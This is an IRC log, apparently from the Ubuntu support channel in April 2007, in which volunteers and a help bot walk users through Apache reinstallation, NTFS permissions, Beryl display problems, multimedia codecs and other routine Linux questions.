[08:12] <Flannel> da_shrewd: You're on feisty?  let me double check package names
[08:12] <squiggie> mungewell, vncserver :1
[08:13] <alien__> peepsalot: thankss =)
[08:13] <da_shrewd> flannel: yes, i'm using feisty
[08:13] <mike> you see the application window switcher?
[08:13] <peepsalot> alien__, what is the hardware?  maybe it is an ACPI issue, i don't know if ACPI support is related to reboots though
[08:13] <foug> mike: yea
[08:13] <Flannel> da_shrewd: sudo apt-get remove --purge apache2.2-common
[08:13] <tuna-fish> so, I've got these humongous logfiles, most of their contents consist of the following: "Apr 18 01:11:32 localhost kernel: [203729.340411]  recvmsg bug: copied D7088EF3 seq D7088EFB"... there's 3.6 gigs of that in there, and it only stopped 'cos i ran out of diskspace... weird
[08:13] <Hc\> !java Hc\
[08:13] <ubotu> Sorry, I don't know anything about java hc\ - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:13] <shriki> hi i am a new ubuntu user w/ a stupid problem
[08:13] <Hc\> damn
[08:13] <mike> if you disable it, it should work
[08:13] <alien__> peepsalot: i have no clue my friend... hehe i think fiesty when i had fiesty deskotped instaled it was doin fine
[08:13] <Nubbie> shriki: your problem?
[08:13] <Hc\> how to install java? can some1 tell me?
[08:14] <Flannel> !java | Hc\
[08:14] <ubotu> Hc\: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository. Enable the backports repository on Edgy to install sun-java6-jre
[08:14] <Nubbie> !java | hc\
[08:14] <ubotu> hc\: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository. Enable the backports repository on Edgy to install sun-java6-jre
[08:14] <foug> mike: nope, then nothing happens when i alt tab
[08:14] <Nubbie> flannel :p
[08:14] <alien__> peepsalot: but this.. now sux
[08:14] <Hc\> thx
[08:14] <Nubbie> foug: are your keybindings set up to use alt+tab?
[08:14] <alien__> gonna have to fix somehow
[08:14] <shriki> my problem is re: wireless. The program that was in the upper right of my screen when the computer was new has disappeared. its graphic was a bar graph. it told me which wireless networks were available to me, and it is suddenly gone. can anyone help me get it back?
[08:14] <Flannel> da_shrewd: then sudo apt-get install apache2
[08:14] <mike> foug hold on feisty is acting up again
[08:14] <foug> Nubbie: well it works when i use metacity so i think so
[08:15] <Nubbie> foug: obvious question, but check both gnome keyboard shortcuts and beryl keyboard shortcuts.
[08:15] <da_shrewd> flannel: look this http://paste.ubuntu-nl.org/16202/
[08:15] <Nubbie> foug: change the window switcher keyboard shortcut.
[08:15] <da_shrewd> flannel: there is error
[08:15] <Josesordo> so, anybody dont know how to change the propertary or group of a NTFS partition to me and not root :s
[08:15] <mungewell> squiggie - doesn't this just create a virtual X session, which is exported via the VNC protocol? I don't think that it is bound to any existing X session.
[08:15] <Nubbie> josesordo: sudo chown -R <your user name> /path/to/ntfs
[08:16] <solid_liq> hey, does *anyone* know of a live cd distro that, *for sure*, has LVM support as well as support for JFS partitions within an LVM?
[08:16] <foug> Nubbie: i changed it to alt itself and alt-tab does nothing
[08:16] <squiggie> mungewell, I believe so, does that matter?
[08:17] <solid_liq> and don't say the ubuntu alternate cd, it doesn't work
[08:17] <legos> whaddup mang?
[08:17] <Nubbie> foug: it needs to be alt+tab.
[08:17] <legos> anyone running vista on vmware?
[08:17] <mike> foug: I don't know, that is strange that it won't revert back to gnome
[08:17] <Nubbie> foug: since it only doesn't work with beryl running, you should ask in #ubuntu-effects
[08:17] <mungewell> squiggie - I just thought you were trying to use applications already started on the remote's desktop..... maybe I misunderstood.
[08:17] <foug> Nubbie: hmm, k
[08:17] <Nubbie> !anyone | legos
[08:17] <ubotu> legos: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[08:17] <foug> mike: yea it's annoying
[08:17] <apus> if I have 2 sound cards how do I tell it which one to use
[08:18] <shriki> what is the name of the default ubuntu wireless application?
[08:18] <mungewell> squiggie - so once it is started type 'netstat -an' and confirm that it's listening on the right/public interface.
[08:18] <crimsun> apus: system> preferences> sound
[08:18] <mike> foug: did you try restarting your session?
[08:18] <Josesordo> Nubbie, in /path/to/ntfs is: /media/hda5 for example
[08:18] <foug> mike: nope
[08:18] <legos> naw, my question is actually is anyone here running vista on vmware?
[08:18] <Nubbie> josesordo: if thats how you mounted it.
[08:18] <Nubbie> josesordo: did you create an /etc/fstab entry for it?
[08:19] <mike> you might want to try that. when i revert back to gnome it still won't let me do it
[08:19] <Nubbie> legos: try google?
[08:19] <apus> crimsum, im using kubuntu
[08:19] <Josesordo> ok..its work...Thanks ;)
[08:19] <mneptok> legos: ##windows
[08:19] <Nubbie> josesordo: did you make an fstab entry?
[08:19] <da_shrewd> flannel: there is error
[08:19] <da_shrewd> flannel: look this http://paste.ubuntu-nl.org/16202/
[08:19] <mike> foug: sorry I couldn't help out any farther
[08:20] <pkundu> hi I was trying to use fetchyahoo to retrive all my yahoo mail, can any one help me with how to set it up
[08:20] <crimsun> apus: then use asoundconf(1) set-default-card
[08:20] <Nubbie> josesordo: unless you have an fstab entry for the drive, it will not be mounted after you restart your computer.
[08:20] <foug> mike: no worries man
[08:20] <Flannel> da_shrewd: sigh.  How did you delete this all in the first place?
[08:20] <solid_liq> legos, actually, vista is much worse than xp, I'd use xp instead.  most apps I tried to install in vista didn't work
[08:20] <vatzcar> hi, can anyone tell me plz how to take backup of mail in evolution?
[08:20] <Hc\> !flash | Hc\
[08:20] <mike> you have me searching for answers though
[08:20] <apus> crimsun, type that in konsole?
[08:20] <Nubbie> flannel: he was sloppy with the sudo rm -r
[08:20] <Hc\> !flash
[08:20] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[08:20] <ubotu> Flash 9 (Final release) is now available for dapper-backports and edgy-backports. See !backports and !flash
[08:20] <crimsun> apus: well, you need to read the syntax to use with asoundconf
[08:21] <Josesordo> nubbie, what entry in fstab?
[08:21] <{uX}l`VampyrCeil> Not a huge deal, but clicking on links in the updater's "Release Notes" when you go to upgrade to Feisty don't work
[08:21] <Nubbie> !restricted | Hc\ (i suggest you read this)
[08:21] <ubotu> Hc\ (i suggest you read this): For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[08:21] <{uX}l`VampyrCeil> sudo: x-www-browser: command not found
[08:21] <Nubbie> josesordo: how did you mount your ntfs drive?
[08:21] <da_shrewd> flannel: i accidentally delete the folder apache2 using command rm-r
[08:21] <Flannel> da_shrewd: why were you running as root?
[08:21] <Nubbie> da_shrewd: are you logged in as root?
[08:22] <{uX}l`VampyrCeil> ironically, the link i clicked was for the bug launchpad thing :p
[08:22] <da_shrewd> flannel: yes
[08:22] <apus> "asoundconf set-default-card CARD"
[08:22] <Josesordo> well, is automatic...after install ntfs-3g
[08:22] <Nubbie> da_shrewd: do not log in as root if you won't want your stuff getting deleted.
[08:22] <apus> what do I enter for CARD
[08:22] <Josesordo> I guess
[08:22] <Nubbie> da_shewd: you shouldn't be logged in as root in the first place.
[08:22] <{uX}l`VampyrCeil> i didn't know it was possible to log on as root
[08:22] <Flannel> da_shrewd: There's a reason ubuntu doesn't have the root account enabled.
[08:22] <Nubbie> josesordo: you still need to make an fstab entry.
[08:22] <Nubbie> josesordo: read the ntfs-3g guide on that.
[08:23] <Nubbie> josesordo: as it's a little different than normal fstab ntfs entries.
[08:23] <da_shrewd> flannel: so, how i can solve my problem?
[08:23] <Flannel> da_shrewd: you'll need to kill apaches processes.  then try again
[08:23] <vatzcar> how can i take backup of my e-mails in evolution?
[08:23] <Josesordo> ok..where I can read guide?
[08:23] <Nubbie> josesordo: the reason you want to add an fstab entry, is so that every time your computer boots, the ntfs drive is mounted
[08:23] <da_shrewd> flannel: can u guide me step by step
[08:23] <Nubbie> !ntfs-3g | josesordo
[08:23] <ubotu> josesordo: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but please remember to keep backups of critical data. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[08:23] <Nubbie> josesordo: read that last link.
[08:24] <sanityx> what does text mode install for manufacturers do
[08:24] <solid_liq> anyone know of a channel to ask about live cds?
[08:24] <da_shrewd> flannel: can u guide me step by step
[08:24] <Nubbie> sanityx: makes it so people who buy their computers can set it up afterwards.
[08:24] <sanityx> ok
[08:24] <Ilokaasu> solid_liq: ubuntu livecd ? ask here ?
[08:24] <Flannel> solid_liq: OEM installer allows you to setup a system, and then "finish" the setup (username, locale, etc) at a later time
[08:24] <Nubbie> da_shrewd: step 1: log out of root and come back as a user.
[08:25] <charliesu> Is Ubuntu coming into its own asfar as a server?  Where cna i find security notices?
[08:25] <da_shrewd> nubbie : ok, already logout from root
[08:25] <Nubbie> charliesu: in launchpad
[08:25] <Flannel> da_shrewd: actually, pastebin what `ps aux | grep apache` gives
[08:25] <charliesu> Nubbie: ok.. thanks
[08:25] <Josesordo> ok
[08:25] <Nubbie> charliesu: all bugs are filed there.
[08:26] <solid_liq> Ilokaasu, Flannel : the ubuntu live cd won't work to rescue my system that I upgraded to 7.04, and have the root and other partitions in an LVM with JFS
[08:26] <apus> I am still having trouble with my sound cards, how do I tell it which one to use by default
[08:26] <charliesu> Mumbles: ok.. that makes sense.. but how can i know if it affects my install?  any way to find out?
[08:26] <sanityx> the text mode for manufacturers is letting me set an awful lot of options for something thats supposed to let the end user configure it
[08:27] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16203/
[08:27] <sanityx> i.e. username and password
[08:27] <Nubbie> charliesu: if it affects anything you have installed on your server, it affects you.
[08:27] <Flannel> solid_liq: LiveCD knows LVM
[08:28] <Madpilot> charliesu, the Ubuntu maintainers send out security updates to the repos regularly
[08:28] <Nubbie> charliesu: i don't know if creating a profile will let you set up some custom things to watch or not.
[08:28] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16203/
[08:28] <Flannel> da_shrewd: hmm.  ok, try ps aux | grep httpd and pastebin that
[08:28] <Nubbie> madpilot: but i think he wants to know about the security problems that don't have updates.
[08:28] <Hc\> !gnash
[08:28] <ubotu> An open source flash replacement.  It is still beta software. For current status or for more info http://www.gnu.org/software/gnash/
[08:29] <Hc\> hmm
[08:29] <Flannel> sanityx: No.  There's the alternate CD, and on that CD is a normall installer, as well as the OEM version
[08:29] <Nubbie> gnash????? never heard of that :o
[08:29] <Hc\> with what command should i try to get it?
[08:29] <sanityx> im using the oem one
[08:29] <Hc\> wget -g ...?
[08:29] <Nubbie> hc\: sudo apt-get install gnash
[08:29] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16204/
[08:29] <Flannel> sanityx: where are you setting up a user/password?
[08:29] <solid_liq> Flannel, it may know LVM, but it doesn't work, I've already tried
[08:29] <Josesordo> nubbie, I do all of that instructions (http://ubuntuforums.org/showthread.php?t=217009/)
[08:29] <sanityx> in the setup . . .
[08:29] <sanityx> im still booted off the cd
[08:29] <Nubbie> josesordo: make sure you did it correctly
[08:30] <Flannel> da_shrewd: hmm.  Ok, so apache is already stopped.  Alright.  Try that apt-get remove --purge thing again
[08:30] <sanityx> i selected  the option text install for manufacturers, and now its installing
[08:30] <Josesordo> yes..
[08:30] <Nubbie> josesordo: if it isn't set up correctly you may not be able to boot your system.
[08:30] <Josesordo> I can write in the partition
[08:30] <Flannel> sanityx: But it shouldnt have asked for a username/password
[08:30] <Josesordo> in my account
[08:30] <sanityx> but it did.
[08:30] <Hc\> oh, how do i know what all programs works apt-get ...?
[08:30] <Josesordo> in my NTFS partition dont have any OS just files (movies, mp3s, etc)..
[08:31] <Flannel> Hc\: open up "synaptic package manager" and you can browse
[08:31] <sanityx> Josesordo, if its just files, why are you using ntfs?
[08:31] <Nubbie> josesordo: i suggest you move over to ext3 then, unless it's a portable drive you take elsewhere
[08:31] <Hc\> still cant look att youtube videos -.-
[08:31] <Nubbie> hc\: restart firefox?
[08:31] <drayen> hey all
[08:31] <Hc\> im using konqueror
[08:32] <Nubbie> hc\: so restart that.
[08:32] <Nubbie> hc\: completely
[08:32] <Nubbie> hc\: as in killall konqueror
[08:32] <Hc\> how to "restart" it? just close windows?
[08:32] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16205/
[08:32] <Hc\> im a firstamer
[08:32] <Hc\> timer*
[08:32] <Nubbie> hc\: sudo killall konqueror
[08:32] <Nubbie> it should restart again.
[08:33] <nizo> i need some information about postfix e-mail
[08:33] <Hc\> ok, ty
[08:33] <drayen> got a bit of a problem... just moved into a new place, so im 'borrowing' some nice persons open wifi point... however the signal is "very low" acording to windows, but ubuntu (6.10) wont connect at all (using nm-applet or wifi radar) is there a comand line tool i can use or somthing?
[08:33] <Flannel> Hc\: in Konqueror, you need to go Settings > Configure Konqueror, and go to plugins, then "scan for new plugins"
[08:33] <Hc\> Flannel: i have done it once allready
[08:33] <nizo> i need to know how to add user in postfix
[08:33] <Nubbie> drayen: why don't you ask that nice person to increase the power output of their router?
[08:33] <Hc\> didn't work
[08:33] <nizo> ??
[08:33] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16205/
[08:33] <DVS01> when i switch users and log in and log out, the screen goes blank and then comes back.. sometimes it doesnt come back though.. is this a known issue?
[08:34] <DVS01> i end up having to restart gdm via ssh
[08:34] <Nubbie> DVS01: are you still running beryl?
[08:34] <DVS01> yeah.. is that the culprit?
[08:34] <Nubbie> DVS01: i can almost guaruntee it's related.
[08:34] <nizo> any user manual about postfix
[08:34] <DVS01> doh
[08:34] <Nubbie> !postfix
[08:34] <ubotu> postfix is the default Mail Transfer Agent (MTA) for Ubuntu. Read more about setting it up here: https://help.ubuntu.com/community/Postfix or here: https://help.ubuntu.com/community/PostfixBasicSetupHowto
[08:34] <Nubbie> nizo ^^
[08:34] <sander> hi
[08:35] <nizo> hii nubbie
[08:35] <sander> how to get X11-dev to install in ubuntu
[08:35] <cy_`> moin
[08:35] <Josesordo> nubbie, if possible change ntfs to ext3 with out format?... :s
[08:35] <DVS01> Nubbie: is there a way to solve this outside of beryl? perhaps have even the login screen be opengl rendered, so that the display doesnt have to switch the way it does?
[08:35] <sander> vi apt-get
[08:35] <sander> some know ^^
[08:35] <Flannel> da_shrewd: `sudo nano /etc/init.d/apache2` then after the first few lines, type "exit 0" (no quotes) then ctrl-o and ctrl-x, then try the removal again
[08:35] <Nubbie> josesordo: no.
[08:35] <Hc\> !wine
[08:35] <ubotu> wine is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information.
[08:35] <Nubbie> DVS01: ctrl alt F2, type sudo /etc/init.d/gdm restart
[08:36] <Flannel> da_shrewd: right after NO_START=0
[08:36] <Nubbie> DVS01: it will restart your GDM.
[08:36] <Josesordo> well, when I burn all data I format that and change to ext3
[08:36] <Josesordo> will need some especial program for that transformation?
[08:36] <Cosmo_> on the NVIDIA X server it is no longer showing my second monitor or letting me make adjustments to it, how do I fix this?
[08:36] <sander> where i can download x11-devel
[08:36] <Nubbie> josesordo: if you aren't running windows at all, and if it's not a removable drive, it makes sense to go to ext3.
[08:36] <Flannel> da_shrewd: er, sorry.  that should be `exit 4` not 0
[08:36] <Nubbie> josesordo: nope, gparted will work fine
[08:36] <DVS01> Nubbie: nothing responds at that point, i have to ssh in. i'm sorta trying to avoid the problem from the start. it seems like i'm stuck unless i stop using beryl =/
[08:37] <sander> this is necessary to mplayer compile with gui support
[08:37] <Nubbie> DVS01: why do you have to ssh in?
[08:37] <DVS01> Nubbie: because the system doesnt respond to any keystrokes
[08:37] <cy_`> will alot (regarding the gfx-drivers and auto-recognition) change from the daily-build of feisty to tomorrows release?
[08:37] <Nubbie> sander: sudo apt-get install mplayer
[08:37] <Nubbie> sander: or if you're building from scratch, sudo apt-get build-dep mplayer
[08:37] <Josesordo> ok..thanks for the help...I'll change to ext3 when burn all data ;)
[08:37] <Nubbie> josesordo: good luck.
[08:38] <Nubbie> DVS01: then it IS beryl messing your system up.
[08:38] <DVS01> doh. :/
[08:38] <nizo> ok ubotu ,, i read that, but i need to know how to add users in postfix ?
[08:38] <Nubbie> DVS01: what kind of video card do you have? how much ram?
[08:38] <DVS01> nvidia geforce 7600 512mb
[08:38] <nizo> using mysql may be
[08:39] <sander> Nubbie: thank you
[08:39] <Nubbie> sander: no problem :)
[08:39] <sander> Nubbie: :)
[08:39] <DVS01> ah.. could this be the black window bug?
[08:39] <DVS01> hrm
[08:39] <sander> Nubbie: sea
[08:39] <Nubbie> DVS01: yes there is a problem with beryl.
[08:39] <Nubbie> DVS01: it's in the settings under Blur.
[08:39] <da_shrewd> flannel: there is no start=0, The line show no start=1
[08:39] <fiery_cleric> looks like ubutu's factoids fcsked up https://bot.ubuntulinux.nl/factoids.cgi?search=ls
[08:40] <Nubbie> DVS01: i don't know if that's your problem, i don't use Nvidia cards myself, but it might be.
[08:40] <mistone> ubuntu is winrar
[08:40] <Flannel> da_shrewd: eh, that's fine.  Just put it right after that line.
[08:40] <Josesordo> well, I go to sleep...see ya ;)
[08:40] <Nubbie> !rar | mistone
[08:40] <ubotu> mistone: rar is a non-free archive format created by Rarsoft. For instructions on accessing .rar files through the Archive Manager view https://help.ubuntu.com/community/FileCompression. There is a free (as in speech) unrar utility as well, see !info unrar-free
[08:40] <mistone> hahahaha
[08:40] <Nubbie> :l
[08:40] <DVS01> ill look into it
[08:40] <da_shrewd> flannel: same error appear
[08:41] <Nubbie> DVS01: if you still have trouble, ask for help in #ubuntu-effects
[08:41] <Nubbie> DVS01: or in #beryl
[08:41] <nizo> heysssssss
[08:41] <nizo> neeeeed heelllppp
[08:41] <Flannel> da_shrewd: pastebin that file (init.d/apache2)
[08:41] <Nubbie> nizo: be patient.
[08:41] <Nubbie> nizo: if nobody answers, nobody knows.
[08:41] <nizo> okk
[08:42] <Nubbie> nizo: i'm just guessing but i think each postfix user needs an account on your system.
[08:42] <Nubbie> nizo: i don't know though.
[08:42] <Nubbie> nizo: read up on it.
[08:42] <cy_`> or /join #postfix
[08:42] <nizo> yaa. i think we should use mysql to add user
[08:42] <Nubbie> that too :)
[08:42] <da_shrewd> flannel: how to select all the line?
[08:43] <Flannel> da_shrewd: open it in gedit
[08:43] <DVS01> Nubbie: sorry for being a bit off topic here.. you did help me out though
[08:43] <fiery_cleric> !ls
[08:43] <ubotu> The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE).  Manuals: https://help.ubuntu.com/community/BasicCommands
[08:43] <Ollie|> is there a command to get the system specs (cpu/memory) from the terminal?
[08:44] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16207/
[08:44] <Nubbie> DVS01: i know, i don't mind, but i think we've established it's definitely a beryl problem and you'd get the best help from #ubuntu-effects or #beryl. all i'm saying.
[08:44] <DVS01> yup
[08:45] <Nubbie> (that and the moderator types in here don't like people asking for help about it in here :) )
[08:45] <apus> ollie i know this one! just give me a second
[08:45] <Flannel> da_shrewd: put exit 4 on the line after that.  not the same one
[08:45] <da_shrewd> ok
[08:45] <fiery_cleric> Nubbie: isnt it part of ubuntu?
[08:45] <da_shrewd> flannel: ok
[08:46] <Flannel> fiery_cleric: not until feisty.
[08:46] <Nubbie> fiery_cleric: no as far as i know, it's still beta software.
[08:46] <Flannel> fiery_cleric: and I imagine that even after that, we'll still redirect.  since it has it's own slew of issues and quirks, best left to a specialized channel
[08:46] <Nubbie> flannel: even then, right now it still belongs in #ubuntu+1, and probably even after feisty is out it will belong in #ubuntu-effects
[08:46] <apus> I forget olliel
[08:47] <Flannel> Nubbie: Well, if he's on feisty.  +1 yes.
[08:47] <fiery_cleric> Flannel: yeah but there is ~1000 ppl in here ... more chance of gettting an solution
[08:47] <da_shrewd> flannel: same error
[08:47] <Flannel> fiery_cleric: no there isnt.  Just because this channel exists, doesn't mean you can be offtopic in it.
[08:47] <Nubbie> fiery_cleric: its BETA software. this channel is for people with actual problems.
[08:47] <fiery_cleric> Flannel: so this is for stuff in ubuntu or not ....
[08:48] <Nubbie> fiery_cleric: people who choose to use beta software should have a channel with other people who know what their problem is.
[08:48] <kraut> moin
[08:48] <Flannel> da_shrewd: eh?  Pastebin the error you get.  And double check that the file has exit 4 on te line below that.   And is infact saved.
[08:48] <fiction> When i have firefox open with a few tabs, it ubuntu gets quite slowl anyone else gets this?
[08:48] <Nubbie> fiery_cleric: beryl has nothing to do with ubuntu.
[08:48] <Nubbie> fiery_cleric: other than some users use it.
[08:48] <Cosmo_> I installedthe LPR driver for my printer(brother intellifax 1840C) and it lists it,  however when I try to print a test page it gives me an error /usr/bin/lpr -P 'FAX1840C'  /usr/share/apps/kdeprint/testprint.ps execution failed with message  /usr/bin/lpr : the printer or class was not found anyone know how to fix this?
[08:48] <varka> what is the best solution to install vdr and mms in ubuntu? both from the repos or compiled from source?
[08:48] <fiery_cleric> will soon tho apparently
[08:48] <Nubbie> fiery_cleric: and in ubuntu feisty, it will use compiz.
[08:48] <Nubbie> fiery_cleric: which is NOT beryl.
[08:48] <fiery_cleric> right ...
[08:48] <Flannel> either way this argument over topicality is offtopic ;)
[08:49] <Nubbie> :o
[08:49] <Cosmo_> will be once the merger is done
[08:49] <Nubbie> cosmo_: its all talk.
[08:49] <da_shrewd> flannel: apache error http://paste.ubuntu-nl.org/16208/
[08:49] <nrgy> Nubbie, umm no go read the forums its offical
[08:49] <pkundu> how do i configure my thunder bird to get mails from /var/mail/username
[08:49] <HorizonXP> can someone help me wtih nvidia-settings?
[08:49] <Nubbie> ooooh excellent! last time i checked it was just talk.
[08:50] <danfg> i'm trying to ssh into linux, i'm getting "Server refused our key". i put the public key in ~/.ssh/authorized_keys. what else is there to do?
[08:50] <aa^way> hey, i want to listen mp3 and look youtube/video.gogle.com videos, what i need to download?
[08:50] <da_shrewd> flannel: file /init.d/apache2 http://paste.ubuntu-nl.org/16209/
[08:51] <da_shrewd> flannel: apache error http://paste.ubuntu-nl.org/16208/
[08:51] <da_shrewd> flannel: file /init.d/apache2 http://paste.ubuntu-nl.org/16209/
[08:51] <Nubbie> !restricted | aa^way
[08:51] <ubotu> aa^way: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[08:51] <Ollie|> I have just done  apt-get install phpsysinfo
[08:51] <Ollie|> but I cannot access it at http://192.168.1.12/phpsysinfo/
[08:51] <Jordan_U> !codecs | aa^way
[08:51] <ubotu> aa^way: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[08:52] <Ollie|> how do I set this up in the apache config?
[08:52] <Nubbie> ollie|: doesn't that need to run on top of apache?
[08:52] <Jordan_U> Sorry about that, just a little late :)
[08:52] <Nubbie> ollie|: is apache running?
[08:52] <Ollie|> yes
[08:52] <Cosmo_> on the NVIDIA X server it is no longer showing my second monitor or letting me make adjustments to it, how do I fix this?
[08:52] <Ollie|> I can access website/webmin etc
[08:52] <aa^way> thanks jordan/Nubbie
[08:52] <Nubbie> ollie|: and you're going to need to have the phpsysinfo in /var/www/phpinfo folder
[08:52] <Nubbie> !dualhead | cosmo_
[08:52] <ubotu> cosmo_: Information about dual-head on linux can be found on http://wiki.linuxquestions.org/wiki/DualHead - See also !Xinerama
[08:53] <Flannel> da_shrewd: sorry.  change that exit 4 to just plain 'exit'  and try it again.
[08:53] <da_shrewd> flannel: ok
[08:54] <Ollie|> the folder is currently at /var/www/phpsysinfo
[08:54] <Ollie|> the same place that phpmyadmin has gone to
[08:54] <Nubbie> ollie|: and you have php installed?
[08:54] <Ollie|> the root of my server is /home/oliver/www
[08:54] <Nubbie> ollie|: the apache php stuff that is?
[08:54] <Ollie|> yes php is all installed
[08:54] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16210/  ..............is it ok?
[08:55] <Flannel> da_shrewd: yes.  Now reinstall apache2
[08:55] <Nubbie> ollie|: i don't know what to say, you're sure apache is running, and the web folder is in there..
[08:55] <Ollie|> I need to setup apache so that when I type httt://192.168.1.12/phpsysinfo/ it looks to /var/www/phpsysinfo/ instead of /home/oliver/www/phpsysinfo/
[08:55] <Nubbie> ollie|: are there any server side programs that need to run in order for it to work? other than the web server?
[08:55] <Ollie|> don't think so
[08:56] <Nubbie> ollie|: so you're having an apache problem.
[08:56] <DVS01> hahahaha
[08:56] <Nubbie> ollie|: you should change the server root back to where it is by default.
[08:56] <disinterested> when im downloading some thing and the downloads window is open the percentage goes up and the download will complete but the percentage bar never moves how do i fix this?
[08:56] <DVS01> i am using synergy, using my windows machine to control linux laptop's mouse/keyboard
[08:56] <DVS01> i just switched user on the laptop, annd my keyboard/mouse controls got stuck in the other user's realm
[08:56] <Nubbie> DVS01: yes thats some cool software.
[08:56] <Cosmo_> Nubbie: I have read that page many times, untill just recently after following those guides I was able to adjust the second monitor in the nvidia-settings, now it is only showing 1 monitor
[08:57] <DVS01> had to log back in to the original user via laptop in order to regain control of windows system
[08:57] <DVS01> that was pretty funny
[08:57] <da_shrewd> flannel: it works...thank u very much dude
[08:57] <DVS01> it stole my mouse/keyboard
[08:57] <Nubbie> cosmo_: i dunno i don't use nvidia cards, i don't know what's involved.
[08:57] <riri> is there somebody who has "Honeypot" package for ubuntu dapper?
[08:57] <Nubbie> DVS01: the chicken and the egg, like that other guy said.
[08:57] <Nubbie> riri: what is honeypot.
[08:58] <DVS01> hehe
[08:58] <Nubbie> or not....
[08:59] <aa^way> yeah dudes all works, videos and songs, haha i dont get it why linux is hard or something, so easy to get all programs with apt-get
[08:59] <ivoks> almost a 1000 people, and the release is tomorrow :D
[08:59] <aa^way> i had more probs in windows while trying to get crack and stuff like that =P
[08:59] <riri> its like virtual server for trap the intruder...something such as like that...cz i want to learn it right now..:)
[08:59] <Nubbie> aa^way: its not hard.
[08:59] <disinterested> i guees my above problem cant be fixed?
[09:00] <Nubbie> riri: i have no idea what you're talking about lol.
[09:00] <Nubbie> riri: so i'm going to say no.
[09:00] <riri> :)
[09:02] <ByPasS> if u wanna play with honeypots try apt-get install honeyd :)
[09:02] <Nubbie> ahhh somebody knows about the honey :)
[09:02] <DVS01> yea
[09:03] <DVS01> i considered implementing that at my last job, where coworkers kept logging in and messing around with my system (we were required to keep it open)
[09:03] <DVS01> is there a way to trigger a script upon the event of switching users?
[09:03] <DVS01> one for switching away from, and one for switching back to
[09:04] <DVS01> i need to make synergy let go of my windows machine's mouse heh
[09:04] <lolo> check demo of www.ask4chat.com
[09:04] <DVS01> check out googling for ircd
[09:04] <Nubbie> dvs01: switching away from might be tricky.
[09:04] <Nubbie> !spam | lolo
[09:04] <ubotu> lolo: Unsure how you should behave on this channel? See !CoC, !Guidelines, !Offtopic, !Language, !Attitude, !Repeat, !Enter, !Paste, !NickSpam, !AskTheBot - and most importantly, use common sense :-)
[09:05] <crazy_penguin> hello all!
[09:05] <aa^way> one prob more
[09:05] <xyz-abc> Help: Feisty Fawn's HPLIP toolbox doesn't work (doesn't load)
[09:05] <aa^way> seems like my linux is wrongly sized
[09:05] <aa^way> i can see barely "shutdown" button
[09:05] <aa^way> and in mozilla i dont see scroll bars unless i resize mozilla window
[09:05] <Nubbie> aa^way: your screen......
[09:05] <Nubbie> !resolution | aa^way
[09:06] <ubotu> aa^way: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[09:06] <DVS01> btw, Nubbie, in case youre interested, i fixed the black screen problem by switching rendering architectures from nvidia to aiglx
[09:06] <Nubbie> DVS01: why weren't you using aiglx before? it's infinitely better.
[09:06] <DVS01> Nubbie: heh not sure
[09:06] <danfg> i'm trying to ssh into linux with RSA keys, i put the private key in ~/.ssh/authorized_keys, but i'm getting "Server refused our key". what am i missing?
[09:07] <DVS01> crap.. spoke too soon
[09:07] <danfg> oops, actually, the public key is in ~/.ssh/authorized_keys, not the private one, duh
[09:07] <lolo>                        www.ask4chat.com
[09:08] <alleyoop> xyz-abc: are there any errors if you start it from a console?
[09:08] <danfg> anyone using ssh with keys (instead of a password)?
[09:08] <DVS01> lolo, please stop spamming
[09:10] <lalala> Hey
[09:10] <lalala> Ubuntu 7.04 released tomorrow!!!!
[09:10] <nizo> hello all
[09:11] <DVS01> yup
[09:11] <nizo> whats is the command in my.cnf in mysql to ignore the charecters case ?
[09:11] <lalala> can I update?
[09:11] <DVS01> im using the release candidate.. it works really nice
[09:11] <lalala> how can I update from 6.10
[09:11] <DVS01> lalala: possibly. i downloaded the cd image
[09:11] <lalala> I gotta reinstall all my stuff?
[09:11] <lalala> =/
[09:11] <xyz-abc> alleyoop: i don't know how to start it from the console
[09:11] <DVS01> i dunno
[09:11] <DVS01> maybe when its out you can
[09:12] <Nubbie> sudo update-manager -c -d
[09:12] <nizo> whats is the command in my.cnf in mysql to ignore the charecters case ?
[09:12] <lolo> -
[09:12] <Flannel> !upgrade | lalala
[09:12] <ubotu> lalala: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[09:12] <lolo> -
[09:12] <lolo> -
[09:12] <lolo> -
[09:12] <lolo> -
[09:12] <lolo>                                          www.ask4chat.com
[09:12] <lolo> -
[09:12] <lolo> -
[09:12] <lolo> -
